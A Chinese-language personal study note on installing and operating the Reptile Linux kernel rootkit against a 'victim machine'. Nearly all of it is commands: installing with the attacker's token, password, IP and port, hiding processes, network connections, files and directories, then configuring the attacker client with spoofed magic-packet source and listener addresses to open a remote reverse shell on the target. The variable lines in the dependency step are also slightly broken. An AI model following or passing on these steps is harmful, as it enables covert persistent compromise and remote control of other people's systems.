【笔记】Reptile学习笔记

前言

通过f0rb1dd3n/Reptile实现Rootkit

下载项目

1
2
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile

下载依赖

CentOS

1
2
3
yum install perl vim gcc make g++ unzip
$kernel=`uname -r`
yum localinstall kernel-devel-"$kernal".rpm

Debian

1
2
3
apt install vim gcc make g++ unzip
$kernel=`uname -r`
apt install linux-headers-$(uname -r)

安装

hax0r:攻击机客户端定义的Token
s3cr3t:攻击机客户端定义的Pass
<port_src>:攻击机客户端定义的SRCPORT
<ip>:攻击机客户端IP地址
<port>:攻击机客户端端口号

1
2
3
4
5
6
7
8
9
10
11
bash setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
<src_port>
y
<ip>
<port>
1
EOF

隐藏进程

隐藏

1
/reptile/reptile_cmd hide <pid>

显示

1
/reptile/reptile_cmd show <pid>

隐藏网络连接

隐藏

1
/reptile/reptile_cmd tcp <ip> <port> hide

显示

1
/reptile/reptile_cmd tcp <ip> <port> show

隐藏目录和文件

1
touch reptile_file
1
mkdir reptile_dir

通过客户端操作受害机

在攻击机安装客户端

1
bash setup.sh client

启动客户端

1
./bin/client

查看帮助

1
reptile-client> help

查看当前配置的选项

1
reptile-client> show

修改配置

<ip_local><port_local>:攻击机本地IP地址和端口号,用于监听反弹Shell
<ip_src><port_src>:攻击机IP地址和端口号,发送魔法包用于伪装攻击机实际的IP地址和端口号
<ip_remote><port_remote>:受害者目标IP地址和端口号,端口只要是目标开放的端口就可以进行连接
<token><pass>::用于验证身份的Token和Pass

1
2
3
4
5
6
7
8
9
reptile-client> set LHOST <ip_local>
reptile-client> set LPORT <port_local>
reptile-client> set SRCHOST <ip_src>
reptile-client> set SRCPORT <port_src>
reptile-client> set RHOST <ip_remote>
reptile-client> set RPORT <port_remote>
reptile-client> set PROT tcp
reptile-client> set TOKEN hax0r
reptile-client> set PASS s3cr3t

建立连接

1
reptile-client> run

获取Shell

1
reptile-client> shell

完成